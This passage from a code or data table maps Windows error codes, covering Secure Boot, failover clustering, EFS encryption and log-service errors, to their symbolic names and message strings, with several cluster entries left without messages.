0x00001132: ("ERROR_APP_DATA_CORRUPT", "Fast Cache data corrupt."),
0x00001133: ("ERROR_APP_DATA_LIMIT_EXCEEDED", "Fast Cache data has exceeded its max size and cannot be updated."),
0x00001134: ("ERROR_APP_DATA_REBOOT_REQUIRED", "Fast Cache has been ReArmed and requires a reboot until it can be updated."),
0x00001144: ("ERROR_SECUREBOOT_ROLLBACK_DETECTED", "Secure Boot detected that rollback of protected data has been attempted."),
0x00001145: ("ERROR_SECUREBOOT_POLICY_VIOLATION", "The value is protected by Secure Boot policy and cannot be modified or deleted."),
0x00001146: ("ERROR_SECUREBOOT_INVALID_POLICY", "The Secure Boot policy is invalid."),
0x00001147: ("ERROR_SECUREBOOT_POLICY_PUBLISHER_NOT_FOUND", "A new Secure Boot policy did not contain the current publisher on its update list."),
0x00001148: ("ERROR_SECUREBOOT_POLICY_NOT_SIGNED", "The Secure Boot policy is either not signed or is signed by a non-trusted signer."),
0x00001149: ("ERROR_SECUREBOOT_NOT_ENABLED", "Secure Boot is not enabled on this machine."),
0x0000114a: ("ERROR_SECUREBOOT_FILE_REPLACED", "Secure Boot requires that certain files and drivers are not replaced by other files or drivers."),
0x00001158: ("ERROR_OFFLOAD_READ_FLT_NOT_SUPPORTED", "The copy offload read operation is not supported by a filter."),
0x00001159: ("ERROR_OFFLOAD_WRITE_FLT_NOT_SUPPORTED", "The copy offload write operation is not supported by a filter."),
0x0000115a: ("ERROR_OFFLOAD_READ_FILE_NOT_SUPPORTED", "The copy offload read operation is not supported for the file."),
0x0000115b: ("ERROR_OFFLOAD_WRITE_FILE_NOT_SUPPORTED", "The copy offload write operation is not supported for the file."),
0x00001194: ("ERROR_VOLUME_NOT_SIS_ENABLED", "Single Instance Storage is not available on this volume."),
0x00001389: ("ERROR_DEPENDENT_RESOURCE_EXISTS", "The operation cannot be completed because other resources are dependent on this resource."),
0x0000138a: ("ERROR_DEPENDENCY_NOT_FOUND", "The cluster resource dependency cannot be found."),
0x0000138b: ("ERROR_DEPENDENCY_ALREADY_EXISTS", "The cluster resource cannot be made dependent on the specified resource because it is already dependent."),
0x0000138c: ("ERROR_RESOURCE_NOT_ONLINE", "The cluster resource is not online."),
0x0000138d: ("ERROR_HOST_NODE_NOT_AVAILABLE", "A cluster node is not available for this operation."),
0x0000138e: ("ERROR_RESOURCE_NOT_AVAILABLE", "The cluster resource is not available."),
0x0000138f: ("ERROR_RESOURCE_NOT_FOUND", "The cluster resource could not be found."),
0x00001390: ("ERROR_SHUTDOWN_CLUSTER", "The cluster is being shut down."),
0x00001391: ("ERROR_CANT_EVICT_ACTIVE_NODE", "A cluster node cannot be evicted from the cluster unless the node is down or it is the last node."),
0x00001392: ("ERROR_OBJECT_ALREADY_EXISTS", "The object already exists."),
0x00001393: ("ERROR_OBJECT_IN_LIST", "The object is already in the list."),
0x00001394: ("ERROR_GROUP_NOT_AVAILABLE", "The cluster group is not available for any new requests."),
0x00001395: ("ERROR_GROUP_NOT_FOUND", "The cluster group could not be found."),
0x00001396: ("ERROR_GROUP_NOT_ONLINE", "The operation could not be completed because the cluster group is not online."),
0x00001397: ("ERROR_HOST_NODE_NOT_RESOURCE_OWNER", "The operation failed because either the specified cluster node is not the owner of the resource, or the node is not a possible owner of the resource."),
0x00001398: ("ERROR_HOST_NODE_NOT_GROUP_OWNER", "The operation failed because either the specified cluster node is not the owner of the group, or the node is not a possible owner of the group."),
0x00001399: ("ERROR_RESMON_CREATE_FAILED", "The cluster resource could not be created in the specified resource monitor."),
0x0000139a: ("ERROR_RESMON_ONLINE_FAILED", "The cluster resource could not be brought online by the resource monitor."),
0x0000139b: ("ERROR_RESOURCE_ONLINE", "The operation could not be completed because the cluster resource is online."),
0x0000139c: ("ERROR_QUORUM_RESOURCE", "The cluster resource could not be deleted or brought offline because it is the quorum resource."),
0x0000139d: ("ERROR_NOT_QUORUM_CAPABLE", "The cluster could not make the specified resource a quorum resource because it is not capable of being a quorum resource."),
0x0000139e: ("ERROR_CLUSTER_SHUTTING_DOWN", "The cluster software is shutting down."),
0x0000139f: ("ERROR_INVALID_STATE", "The group or resource is not in the correct state to perform the requested operation."),
0x000013a0: ("ERROR_RESOURCE_PROPERTIES_STORED", "The properties were stored but not all changes will take effect until the next time the resource is brought online."),
0x000013a1: ("ERROR_NOT_QUORUM_CLASS", "The cluster could not make the specified resource a quorum resource because it does not belong to a shared storage class."),
0x000013a2: ("ERROR_CORE_RESOURCE", "The cluster resource could not be deleted since it is a core resource."),
0x000013a3: ("ERROR_QUORUM_RESOURCE_ONLINE_FAILED", "The quorum resource failed to come online."),
0x000013a4: ("ERROR_QUORUMLOG_OPEN_FAILED", "The quorum log could not be created or mounted successfully."),
0x000013a5: ("ERROR_CLUSTERLOG_CORRUPT", "The cluster log is corrupt."),
0x000013a6: ("ERROR_CLUSTERLOG_RECORD_EXCEEDS_MAXSIZE", "The record could not be written to the cluster log since it exceeds the maximum size."),
0x000013a7: ("ERROR_CLUSTERLOG_EXCEEDS_MAXSIZE", "The cluster log exceeds its maximum size."),
0x000013a8: ("ERROR_CLUSTERLOG_CHKPOINT_NOT_FOUND", "No checkpoint record was found in the cluster log."),
0x000013a9: ("ERROR_CLUSTERLOG_NOT_ENOUGH_SPACE", "The minimum required disk space needed for logging is not available."),
0x000013aa: ("ERROR_QUORUM_OWNER_ALIVE", "The cluster node failed to take control of the quorum resource because the resource is owned by another active node."),
0x000013ab: ("ERROR_NETWORK_NOT_AVAILABLE", "A cluster network is not available for this operation."),
0x000013ac: ("ERROR_NODE_NOT_AVAILABLE", "A cluster node is not available for this operation."),
0x000013ad: ("ERROR_ALL_NODES_NOT_AVAILABLE", "All cluster nodes must be running to perform this operation."),
0x000013ae: ("ERROR_RESOURCE_FAILED", "A cluster resource failed."),
0x000013af: ("ERROR_CLUSTER_INVALID_NODE", "The cluster node is not valid."),
0x000013b0: ("ERROR_CLUSTER_NODE_EXISTS", "The cluster node already exists."),
0x000013b1: ("ERROR_CLUSTER_JOIN_IN_PROGRESS", "A node is in the process of joining the cluster."),
0x000013b2: ("ERROR_CLUSTER_NODE_NOT_FOUND", "The cluster node was not found."),
0x000013b3: ("ERROR_CLUSTER_LOCAL_NODE_NOT_FOUND", "The cluster local node information was not found."),
0x000013b4: ("ERROR_CLUSTER_NETWORK_EXISTS", "The cluster network already exists."),
0x000013b5: ("ERROR_CLUSTER_NETWORK_NOT_FOUND", "The cluster network was not found."),
0x000013b6: ("ERROR_CLUSTER_NETINTERFACE_EXISTS", "The cluster network interface already exists."),
0x000013b7: ("ERROR_CLUSTER_NETINTERFACE_NOT_FOUND", "The cluster network interface was not found."),
0x000013b8: ("ERROR_CLUSTER_INVALID_REQUEST", "The cluster request is not valid for this object."),
0x000013b9: ("ERROR_CLUSTER_INVALID_NETWORK_PROVIDER", "The cluster network provider is not valid."),
0x000013ba: ("ERROR_CLUSTER_NODE_DOWN", "The cluster node is down."),
0x000013bb: ("ERROR_CLUSTER_NODE_UNREACHABLE", "The cluster node is not reachable."),
0x000013bc: ("ERROR_CLUSTER_NODE_NOT_MEMBER", "The cluster node is not a member of the cluster."),
0x000013bd: ("ERROR_CLUSTER_JOIN_NOT_IN_PROGRESS", "A cluster join operation is not in progress."),
0x000013be: ("ERROR_CLUSTER_INVALID_NETWORK", "The cluster network is not valid."),
0x000013c0: ("ERROR_CLUSTER_NODE_UP", "The cluster node is up."),
0x000013c1: ("ERROR_CLUSTER_IPADDR_IN_USE", "The cluster IP address is already in use."),
0x000013c2: ("ERROR_CLUSTER_NODE_NOT_PAUSED", "The cluster node is not paused."),
0x000013c3: ("ERROR_CLUSTER_NO_SECURITY_CONTEXT", "No cluster security context is available."),
0x000013c4: ("ERROR_CLUSTER_NETWORK_NOT_INTERNAL", "The cluster network is not configured for internal cluster communication."),
0x000013c5: ("ERROR_CLUSTER_NODE_ALREADY_UP", "The cluster node is already up."),
0x000013c6: ("ERROR_CLUSTER_NODE_ALREADY_DOWN", "The cluster node is already down."),
0x000013c7: ("ERROR_CLUSTER_NETWORK_ALREADY_ONLINE", "The cluster network is already online."),
0x000013c8: ("ERROR_CLUSTER_NETWORK_ALREADY_OFFLINE", "The cluster network is already offline."),
0x000013c9: ("ERROR_CLUSTER_NODE_ALREADY_MEMBER", "The cluster node is already a member of the cluster."),
0x000013ca: ("ERROR_CLUSTER_LAST_INTERNAL_NETWORK", "The cluster network is the only one configured for internal cluster communication between two or more active cluster nodes. The internal communication capability cannot be removed from the network."),
0x000013cb: ("ERROR_CLUSTER_NETWORK_HAS_DEPENDENTS", "One or more cluster resources depend on the network to provide service to clients. The client access capability cannot be removed from the network."),
0x000013cc: ("ERROR_INVALID_OPERATION_ON_QUORUM", "This operation cannot be performed on the cluster resource as it the quorum resource. You may not bring the quorum resource offline or modify its possible owners list."),
0x000013cd: ("ERROR_DEPENDENCY_NOT_ALLOWED", "The cluster quorum resource is not allowed to have any dependencies."),
0x000013ce: ("ERROR_CLUSTER_NODE_PAUSED", "The cluster node is paused."),
0x000013cf: ("ERROR_NODE_CANT_HOST_RESOURCE", "The cluster resource cannot be brought online. The owner node cannot run this resource."),
0x000013d0: ("ERROR_CLUSTER_NODE_NOT_READY", "The cluster node is not ready to perform the requested operation."),
0x000013d1: ("ERROR_CLUSTER_NODE_SHUTTING_DOWN", "The cluster node is shutting down."),
0x000013d2: ("ERROR_CLUSTER_JOIN_ABORTED", "The cluster join operation was aborted."),
0x000013d3: ("ERROR_CLUSTER_INCOMPATIBLE_VERSIONS", "The cluster join operation failed due to incompatible software versions between the joining node and its sponsor."),
0x000013d4: ("ERROR_CLUSTER_MAXNUM_OF_RESOURCES_EXCEEDED", "This resource cannot be created because the cluster has reached the limit on the number of resources it can monitor."),
0x000013d5: ("ERROR_CLUSTER_SYSTEM_CONFIG_CHANGED", "The system configuration changed during the cluster join or form operation. The join or form operation was aborted."),
0x000013d6: ("ERROR_CLUSTER_RESOURCE_TYPE_NOT_FOUND", "The specified resource type was not found."),
0x000013d7: ("ERROR_CLUSTER_RESTYPE_NOT_SUPPORTED", "The specified node does not support a resource of this type. This may be due to version inconsistencies or due to the absence of the resource DLL on this node."),
0x000013d8: ("ERROR_CLUSTER_RESNAME_NOT_FOUND", "The specified resource name is not supported by this resource DLL. This may be due to a bad (or changed) name supplied to the resource DLL."),
0x000013d9: ("ERROR_CLUSTER_NO_RPC_PACKAGES_REGISTERED", "No authentication package could be registered with the RPC server."),
0x000013da: ("ERROR_CLUSTER_OWNER_NOT_IN_PREFLIST", "You cannot bring the group online because the owner of the group is not in the preferred list for the group. To change the owner node for the group, move the group."),
0x000013db: ("ERROR_CLUSTER_DATABASE_SEQMISMATCH", "The join operation failed because the cluster database sequence number has changed or is incompatible with the locker node. This may happen during a join operation if the cluster database was changing during the join."),
0x000013dc: ("ERROR_RESMON_INVALID_STATE", "The resource monitor will not allow the fail operation to be performed while the resource is in its current state. This may happen if the resource is in a pending state."),
0x000013dd: ("ERROR_CLUSTER_GUM_NOT_LOCKER", "A non locker code got a request to reserve the lock for making global updates."),
0x000013de: ("ERROR_QUORUM_DISK_NOT_FOUND", "The quorum disk could not be located by the cluster service."),
0x000013df: ("ERROR_DATABASE_BACKUP_CORRUPT", "The backed up cluster database is possibly corrupt."),
0x000013e0: ("ERROR_CLUSTER_NODE_ALREADY_HAS_DFS_ROOT", "A DFS root already exists in this cluster node."),
0x000013e1: ("ERROR_RESOURCE_PROPERTY_UNCHANGEABLE", "An attempt to modify a resource property failed because it conflicts with another existing property."),
0x00001702: ("ERROR_CLUSTER_MEMBERSHIP_INVALID_STATE", "An operation was attempted that is incompatible with the current membership state of the node."),
0x00001703: ("ERROR_CLUSTER_QUORUMLOG_NOT_FOUND", "The quorum resource does not contain the quorum log."),
0x00001704: ("ERROR_CLUSTER_MEMBERSHIP_HALT", "The membership engine requested shutdown of the cluster service on this node."),
0x00001705: ("ERROR_CLUSTER_INSTANCE_ID_MISMATCH", "The join operation failed because the cluster instance ID of the joining node does not match the cluster instance ID of the sponsor node."),
0x00001706: ("ERROR_CLUSTER_NETWORK_NOT_FOUND_FOR_IP", "A matching cluster network for the specified IP address could not be found."),
0x00001707: ("ERROR_CLUSTER_PROPERTY_DATA_TYPE_MISMATCH", "The actual data type of the property did not match the expected data type of the property."),
0x00001708: ("ERROR_CLUSTER_EVICT_WITHOUT_CLEANUP", "The cluster node was evicted from the cluster successfully, but the node was not cleaned up. To determine what cleanup steps failed and how to recover, see the Failover Clustering application event log using Event Viewer."),
0x00001709: ("ERROR_CLUSTER_PARAMETER_MISMATCH", "Two or more parameter values specified for a resource's properties are in conflict."),
0x0000170a: ("ERROR_NODE_CANNOT_BE_CLUSTERED", "This computer cannot be made a member of a cluster."),
0x0000170b: ("ERROR_CLUSTER_WRONG_OS_VERSION", "This computer cannot be made a member of a cluster because it does not have the correct version of Windows installed."),
0x0000170c: ("ERROR_CLUSTER_CANT_CREATE_DUP_CLUSTER_NAME", "A cluster cannot be created with the specified cluster name because that cluster name is already in use. Specify a different name for the cluster."),
0x0000170d: ("ERROR_CLUSCFG_ALREADY_COMMITTED", "The cluster configuration action has already been committed."),
0x0000170e: ("ERROR_CLUSCFG_ROLLBACK_FAILED", "The cluster configuration action could not be rolled back."),
0x0000170f: ("ERROR_CLUSCFG_SYSTEM_DISK_DRIVE_LETTER_CONFLICT", "The drive letter assigned to a system disk on one node conflicted with the drive letter assigned to a disk on another node."),
0x00001710: ("ERROR_CLUSTER_OLD_VERSION", "One or more nodes in the cluster are running a version of Windows that does not support this operation."),
0x00001711: ("ERROR_CLUSTER_MISMATCHED_COMPUTER_ACCT_NAME", "The name of the corresponding computer account doesn't match the Network Name for this resource."),
0x00001712: ("ERROR_CLUSTER_NO_NET_ADAPTERS", "No network adapters are available."),
0x00001713: ("ERROR_CLUSTER_POISONED", "The cluster node has been poisoned."),
0x00001714: ("ERROR_CLUSTER_GROUP_MOVING", "The group is unable to accept the request since it is moving to another node."),
0x00001715: ("ERROR_CLUSTER_RESOURCE_TYPE_BUSY", "The resource type cannot accept the request since is too busy performing another operation."),
0x00001716: ("ERROR_RESOURCE_CALL_TIMED_OUT", "The call to the cluster resource DLL timed out."),
0x00001717: ("ERROR_INVALID_CLUSTER_IPV6_ADDRESS", "The address is not valid for an IPv6 Address resource. A global IPv6 address is required, and it must match a cluster network. Compatibility addresses are not permitted."),
0x00001718: ("ERROR_CLUSTER_INTERNAL_INVALID_FUNCTION", "An internal cluster error occurred. A call to an invalid function was attempted."),
0x00001719: ("ERROR_CLUSTER_PARAMETER_OUT_OF_BOUNDS", "A parameter value is out of acceptable range."),
0x0000171a: ("ERROR_CLUSTER_PARTIAL_SEND", "A network error occurred while sending data to another node in the cluster. The number of bytes transmitted was less than required."),
0x0000171b: ("ERROR_CLUSTER_REGISTRY_INVALID_FUNCTION", "An invalid cluster registry operation was attempted."),
0x0000171c: ("ERROR_CLUSTER_INVALID_STRING_TERMINATION", "An input string of characters is not properly terminated."),
0x0000171d: ("ERROR_CLUSTER_INVALID_STRING_FORMAT", "An input string of characters is not in a valid format for the data it represents."),
0x0000171e: ("ERROR_CLUSTER_DATABASE_TRANSACTION_IN_PROGRESS", "An internal cluster error occurred. A cluster database transaction was attempted while a transaction was already in progress."),
0x0000171f: ("ERROR_CLUSTER_DATABASE_TRANSACTION_NOT_IN_PROGRESS", "An internal cluster error occurred. There was an attempt to commit a cluster database transaction while no transaction was in progress."),
0x00001720: ("ERROR_CLUSTER_NULL_DATA", "An internal cluster error occurred. Data was not properly initialized."),
0x00001721: ("ERROR_CLUSTER_PARTIAL_READ", "An error occurred while reading from a stream of data. An unexpected number of bytes was returned."),
0x00001722: ("ERROR_CLUSTER_PARTIAL_WRITE", "An error occurred while writing to a stream of data. The required number of bytes could not be written."),
0x00001723: ("ERROR_CLUSTER_CANT_DESERIALIZE_DATA", "An error occurred while deserializing a stream of cluster data."),
0x00001724: ("ERROR_DEPENDENT_RESOURCE_PROPERTY_CONFLICT", "One or more property values for this resource are in conflict with one or more property values associated with its dependent resource(s)."),
0x00001725: ("ERROR_CLUSTER_NO_QUORUM", "A quorum of cluster nodes was not present to form a cluster."),
0x00001726: ("ERROR_CLUSTER_INVALID_IPV6_NETWORK", "The cluster network is not valid for an IPv6 Address resource, or it does not match the configured address."),
0x00001727: ("ERROR_CLUSTER_INVALID_IPV6_TUNNEL_NETWORK", "The cluster network is not valid for an IPv6 Tunnel resource. Check the configuration of the IP Address resource on which the IPv6 Tunnel resource depends."),
0x00001728: ("ERROR_QUORUM_NOT_ALLOWED_IN_THIS_GROUP", "Quorum resource cannot reside in the Available Storage group."),
0x00001729: ("ERROR_DEPENDENCY_TREE_TOO_COMPLEX", "The dependencies for this resource are nested too deeply."),
0x0000172a: ("ERROR_EXCEPTION_IN_RESOURCE_CALL", "The call into the resource DLL raised an unhandled exception."),
0x0000172b: ("ERROR_CLUSTER_RHS_FAILED_INITIALIZATION", "The RHS process failed to initialize."),
0x0000172c: ("ERROR_CLUSTER_NOT_INSTALLED", "The Failover Clustering feature is not installed on this node."),
0x0000172d: ("ERROR_CLUSTER_RESOURCES_MUST_BE_ONLINE_ON_THE_SAME_NODE", "The resources must be online on the same node for this operation"),
0x0000172e: ("ERROR_CLUSTER_MAX_NODES_IN_CLUSTER", "A new node can not be added since this cluster is already at its maximum number of nodes."),
0x0000172f: ("ERROR_CLUSTER_TOO_MANY_NODES", "This cluster can not be created since the specified number of nodes exceeds the maximum allowed limit."),
0x00001730: ("ERROR_CLUSTER_OBJECT_ALREADY_USED", "An attempt to use the specified cluster name failed because an enabled computer object with the given name already exists in the domain."),
0x00001731: ("ERROR_NONCORE_GROUPS_FOUND", "This cluster cannot be destroyed. It has non-core application groups which must be deleted before the cluster can be destroyed."),
0x00001732: ("ERROR_FILE_SHARE_RESOURCE_CONFLICT", "File share associated with file share witness resource cannot be hosted by this cluster or any of its nodes."),
0x00001733: ("ERROR_CLUSTER_EVICT_INVALID_REQUEST", "Eviction of this node is invalid at this time. Due to quorum requirements node eviction will result in cluster shutdown."),
0x00001734: ("ERROR_CLUSTER_SINGLETON_RESOURCE", "Only one instance of this resource type is allowed in the cluster."),
0x00001735: ("ERROR_CLUSTER_GROUP_SINGLETON_RESOURCE", "Only one instance of this resource type is allowed per resource group."),
0x00001736: ("ERROR_CLUSTER_RESOURCE_PROVIDER_FAILED", "The resource failed to come online due to the failure of one or more provider resources."),
0x00001737: ("ERROR_CLUSTER_RESOURCE_CONFIGURATION_ERROR", "The resource has indicated that it cannot come online on any node."),
0x00001738: ("ERROR_CLUSTER_GROUP_BUSY", "The current operation cannot be performed on this group at this time."),
0x00001739: ("ERROR_CLUSTER_NOT_SHARED_VOLUME", "The directory or file is not located on a cluster shared volume."),
0x0000173a: ("ERROR_CLUSTER_INVALID_SECURITY_DESCRIPTOR", "The Security Descriptor does not meet the requirements for a cluster."),
0x0000173b: ("ERROR_CLUSTER_SHARED_VOLUMES_IN_USE", "There is one or more shared volumes resources configured in the cluster."),
0x0000173c: ("ERROR_CLUSTER_USE_SHARED_VOLUMES_API", "This group or resource cannot be directly manipulated."),
0x0000173d: ("ERROR_CLUSTER_BACKUP_IN_PROGRESS", "Back up is in progress. Please wait for backup completion before trying this operation again."),
0x0000173e: ("ERROR_NON_CSV_PATH", "The path does not belong to a cluster shared volume."),
0x0000173f: ("ERROR_CSV_VOLUME_NOT_LOCAL", "The cluster shared volume is not locally mounted on this node."),
0x00001740: ("ERROR_CLUSTER_WATCHDOG_TERMINATING", "The cluster watchdog is terminating."),
0x00001741: ("ERROR_CLUSTER_RESOURCE_VETOED_MOVE_INCOMPATIBLE_NODES", "A resource vetoed a move between two nodes because they are incompatible."),
0x00001742: ("ERROR_CLUSTER_INVALID_NODE_WEIGHT", "The request is invalid either because node weight cannot be changed while the cluster is in disk-only quorum mode, or because changing the node weight would violate the minimum cluster quorum requirements."),
0x00001743: ("ERROR_CLUSTER_RESOURCE_VETOED_CALL", "The resource vetoed the call."),
0x00001744: ("ERROR_RESMON_SYSTEM_RESOURCES_LACKING", "Resource could not start or run because it could not reserve sufficient system resources."),
0x00001745: ("ERROR_CLUSTER_RESOURCE_VETOED_MOVE_NOT_ENOUGH_RESOURCES_ON_DESTINATION", "A resource vetoed a move between two nodes because the destination currently does not have enough resources to complete the operation."),
0x00001746: ("ERROR_CLUSTER_RESOURCE_VETOED_MOVE_NOT_ENOUGH_RESOURCES_ON_SOURCE", ""),
0x00001747: ("ERROR_CLUSTER_GROUP_QUEUED", ""),
0x00001748: ("ERROR_CLUSTER_RESOURCE_LOCKED_STATUS", ""),
0x00001749: ("ERROR_CLUSTER_SHARED_VOLUME_FAILOVER_NOT_ALLOWED", ""),
0x0000174a: ("ERROR_CLUSTER_NODE_DRAIN_IN_PROGRESS", ""),
0x0000174b: ("ERROR_CLUSTER_DISK_NOT_CONNECTED", ""),
0x0000174c: ("ERROR_DISK_NOT_CSV_CAPABLE", ""),
0x0000174d: ("ERROR_RESOURCE_NOT_IN_AVAILABLE_STORAGE", ""),
0x0000174e: ("ERROR_CLUSTER_SHARED_VOLUME_REDIRECTED", ""),
0x0000174f: ("ERROR_CLUSTER_SHARED_VOLUME_NOT_REDIRECTED", ""),
0x00001750: ("ERROR_CLUSTER_CANNOT_RETURN_PROPERTIES", ""),
0x00001751: ("ERROR_CLUSTER_RESOURCE_CONTAINS_UNSUPPORTED_DIFF_AREA_FOR_SHARED_VOLUMES", ""),
0x00001752: ("ERROR_CLUSTER_RESOURCE_IS_IN_MAINTENANCE_MODE", ""),
0x00001753: ("ERROR_CLUSTER_AFFINITY_CONFLICT", ""),
0x00001754: ("ERROR_CLUSTER_RESOURCE_IS_REPLICA_VIRTUAL_MACHINE", ""),
0x00001770: ("ERROR_ENCRYPTION_FAILED", "The specified file could not be encrypted."),
0x00001771: ("ERROR_DECRYPTION_FAILED", "The specified file could not be decrypted."),
0x00001772: ("ERROR_FILE_ENCRYPTED", "The specified file is encrypted and the user does not have the ability to decrypt it."),
0x00001773: ("ERROR_NO_RECOVERY_POLICY", "There is no valid encryption recovery policy configured for this system."),
0x00001774: ("ERROR_NO_EFS", "The required encryption driver is not loaded for this system."),
0x00001775: ("ERROR_WRONG_EFS", "The file was encrypted with a different encryption driver than is currently loaded."),
0x00001776: ("ERROR_NO_USER_KEYS", "There are no EFS keys defined for the user."),
0x00001777: ("ERROR_FILE_NOT_ENCRYPTED", "The specified file is not encrypted."),
0x00001778: ("ERROR_NOT_EXPORT_FORMAT", "The specified file is not in the defined EFS export format."),
0x00001779: ("ERROR_FILE_READ_ONLY", "The specified file is read only."),
0x0000177a: ("ERROR_DIR_EFS_DISALLOWED", "The directory has been disabled for encryption."),
0x0000177b: ("ERROR_EFS_SERVER_NOT_TRUSTED", "The server is not trusted for remote encryption operation."),
0x0000177c: ("ERROR_BAD_RECOVERY_POLICY", "Recovery policy configured for this system contains invalid recovery certificate."),
0x0000177d: ("ERROR_EFS_ALG_BLOB_TOO_BIG", "The encryption algorithm used on the source file needs a bigger key buffer than the one on the destination file."),
0x0000177e: ("ERROR_VOLUME_NOT_SUPPORT_EFS", "The disk partition does not support file encryption."),
0x0000177f: ("ERROR_EFS_DISABLED", "This machine is disabled for file encryption."),
0x00001780: ("ERROR_EFS_VERSION_NOT_SUPPORT", "A newer system is required to decrypt this encrypted file."),
0x00001781: ("ERROR_CS_ENCRYPTION_INVALID_SERVER_RESPONSE", "The remote server sent an invalid response for a file being opened with Client Side Encryption."),
0x00001782: ("ERROR_CS_ENCRYPTION_UNSUPPORTED_SERVER", "Client Side Encryption is not supported by the remote server even though it claims to support it."),
0x00001783: ("ERROR_CS_ENCRYPTION_EXISTING_ENCRYPTED_FILE", "File is encrypted and should be opened in Client Side Encryption mode."),
0x00001784: ("ERROR_CS_ENCRYPTION_NEW_ENCRYPTED_FILE", "A new encrypted file is being created and a $EFS needs to be provided."),
0x00001785: ("ERROR_CS_ENCRYPTION_FILE_NOT_CSE", "The SMB client requested a CSE FSCTL on a non-CSE file."),
0x00001786: ("ERROR_ENCRYPTION_POLICY_DENIES_OPERATION", "The requested operation was blocked by policy. For more information, contact your system administrator."),
0x000017e6: ("ERROR_NO_BROWSER_SERVERS_FOUND", "The list of servers for this workgroup is not currently available"),
0x00001838: ("SCHED_E_SERVICE_NOT_LOCALSYSTEM", "The Task Scheduler service must be configured to run in the System account to function properly. Individual tasks may be configured to run in other accounts."),
0x000019c8: ("ERROR_LOG_SECTOR_INVALID", "Log service encountered an invalid log sector."),
0x000019c9: ("ERROR_LOG_SECTOR_PARITY_INVALID", "Log service encountered a log sector with invalid block parity."),
0x000019ca: ("ERROR_LOG_SECTOR_REMAPPED", "Log service encountered a remapped log sector."),
0x000019cb: ("ERROR_LOG_BLOCK_INCOMPLETE", "Log service encountered a partial or incomplete log block."),
0x000019cc: ("ERROR_LOG_INVALID_RANGE", "Log service encountered an attempt access data outside the active log range."),
0x000019cd: ("ERROR_LOG_BLOCKS_EXHAUSTED", "Log service user marshalling buffers are exhausted."),
0x000019ce: ("ERROR_LOG_READ_CONTEXT_INVALID", "Log service encountered an attempt read from a marshalling area with an invalid read context."),
0x000019cf: ("ERROR_LOG_RESTART_INVALID", "Log service encountered an invalid log restart area."),
0x000019d0: ("ERROR_LOG_BLOCK_VERSION", "Log service encountered an invalid log block version."),
0x000019d1: ("ERROR_LOG_BLOCK_INVALID", "Log service encountered an invalid log block."),
0x000019d2: ("ERROR_LOG_READ_MODE_INVALID", "Log service encountered an attempt to read the log with an invalid read mode."),
0x000019d3: ("ERROR_LOG_NO_RESTART", "Log service encountered a log stream with no restart area."),
0x000019d4: ("ERROR_LOG_METADATA_CORRUPT", "Log service encountered a corrupted metadata file."),
0x000019d5: ("ERROR_LOG_METADATA_INVALID", "Log service encountered a metadata file that could not be created by the log file system."),
0x000019d6: ("ERROR_LOG_METADATA_INCONSISTENT", "Log service encountered a metadata file with inconsistent data."),
0x000019d7: ("ERROR_LOG_RESERVATION_INVALID", "Log service encountered an attempt to erroneous allocate or dispose reservation space."),
0x000019d8: ("ERROR_LOG_CANT_DELETE", "Log service cannot delete log file or file system container."),
0x000019d9: ("ERROR_LOG_CONTAINER_LIMIT_EXCEEDED", "Log service has reached the maximum allowable containers allocated to a log file."),
0x000019da: ("ERROR_LOG_START_OF_LOG", "Log service has attempted to read or write backward past the start of the log."),
0x000019db: ("ERROR_LOG_POLICY_ALREADY_INSTALLED", "Log policy could not be installed because a policy of the same type is already present."),
0x000019dc: ("ERROR_LOG_POLICY_NOT_INSTALLED", "Log policy in question was not installed at the time of the request."),
0x000019dd: ("ERROR_LOG_POLICY_INVALID", "The installed set of policies on the log is invalid."),
0x000019de: ("ERROR_LOG_POLICY_CONFLICT", "A policy on the log in question prevented the operation from completing."),
0x000019df: ("ERROR_LOG_PINNED_ARCHIVE_TAIL", "Log space cannot be reclaimed because the log is pinned by the archive tail."),
0x000019e0: ("ERROR_LOG_RECORD_NONEXISTENT", "Log record is not a record in the log file."),
0x000019e1: ("ERROR_LOG_RECORDS_RESERVED_INVALID", "Number of reserved log records or the adjustment of the number of reserved log records is invalid."),
0x000019e2: ("ERROR_LOG_SPACE_RESERVED_INVALID", "Reserved log space or the adjustment of the log space is invalid."),
0x000019e3: ("ERROR_LOG_TAIL_INVALID", "An new or existing archive tail or base of the active log is invalid."),
0x000019e4: ("ERROR_LOG_FULL", "Log space is exhausted."),
0x000019e5: ("ERROR_COULD_NOT_RESIZE_LOG", "The log could not be set to the requested size."),
0x000019e6: ("ERROR_LOG_MULTIPLEXED", "Log is multiplexed, no direct writes to the physical log is allowed."),
0x000019e7: ("ERROR_LOG_DEDICATED", "The operation failed because the log is a dedicated log."),
0x000019e8: ("ERROR_LOG_ARCHIVE_NOT_IN_PROGRESS", "The operation requires an archive context."),
0x000019e9: ("ERROR_LOG_ARCHIVE_IN_PROGRESS", "Log archival is in progress."),
0x000019ea: ("ERROR_LOG_EPHEMERAL", "The operation requires a non-ephemeral log, but the log is ephemeral."),
0x000019eb: ("ERROR_LOG_NOT_ENOUGH_CONTAINERS", "The log must have at least two containers before it can be read from or written to."),
0x000019ec: ("ERROR_LOG_CLIENT_ALREADY_REGISTERED", "A log client has already registered on the stream."),
0x000019ed: ("ERROR_LOG_CLIENT_NOT_REGISTERED", "A log client has not been registered on the stream."),
0x000019ee: ("ERROR_LOG_FULL_HANDLER_IN_PROGRESS", "A request has already been made to handle the log full condition."),
0x000019ef: ("ERROR_LOG_CONTAINER_READ_FAILED", "Log service encountered an error when attempting to read from a log container."),
0x000019f0: ("ERROR_LOG_CONTAINER_WRITE_FAILED", "Log service encountered an error when attempting to write to a log container."),
0x000019f1: ("ERROR_LOG_CONTAINER_OPEN_FAILED", "Log service encountered an error when attempting open a log container."),
0x000019f2: ("ERROR_LOG_CONTAINER_STATE_INVALID", "Log service encountered an invalid container state when attempting a requested action."),
0x000019f3: ("ERROR_LOG_STATE_INVALID", "Log service is not in the correct state to perform a requested action."),
0x000019f4: ("ERROR_LOG_PINNED", "Log space cannot be reclaimed because the log is pinned."),
0x000019f5: ("ERROR_LOG_METADATA_FLUSH_FAILED", "Log metadata flush failed."),
0x000019f6: ("ERROR_LOG_INCONSISTENT_SECURITY", "Security on the log and its containers is inconsistent."),
0x000019f7: ("ERROR_LOG_APPENDED_FLUSH_FAILED", "Records were appended to the log or reservation changes were made, but the log could not be flushed."),
0x000019f8: ("ERROR_LOG_PINNED_RESERVATION", "The log is pinned due to reservation consuming most of the log space. Free some reserved records to make space available."),
0x00001a2c: ("ERROR_INVALID_TRANSACTION", "The transaction handle associated with this operation is not valid."),
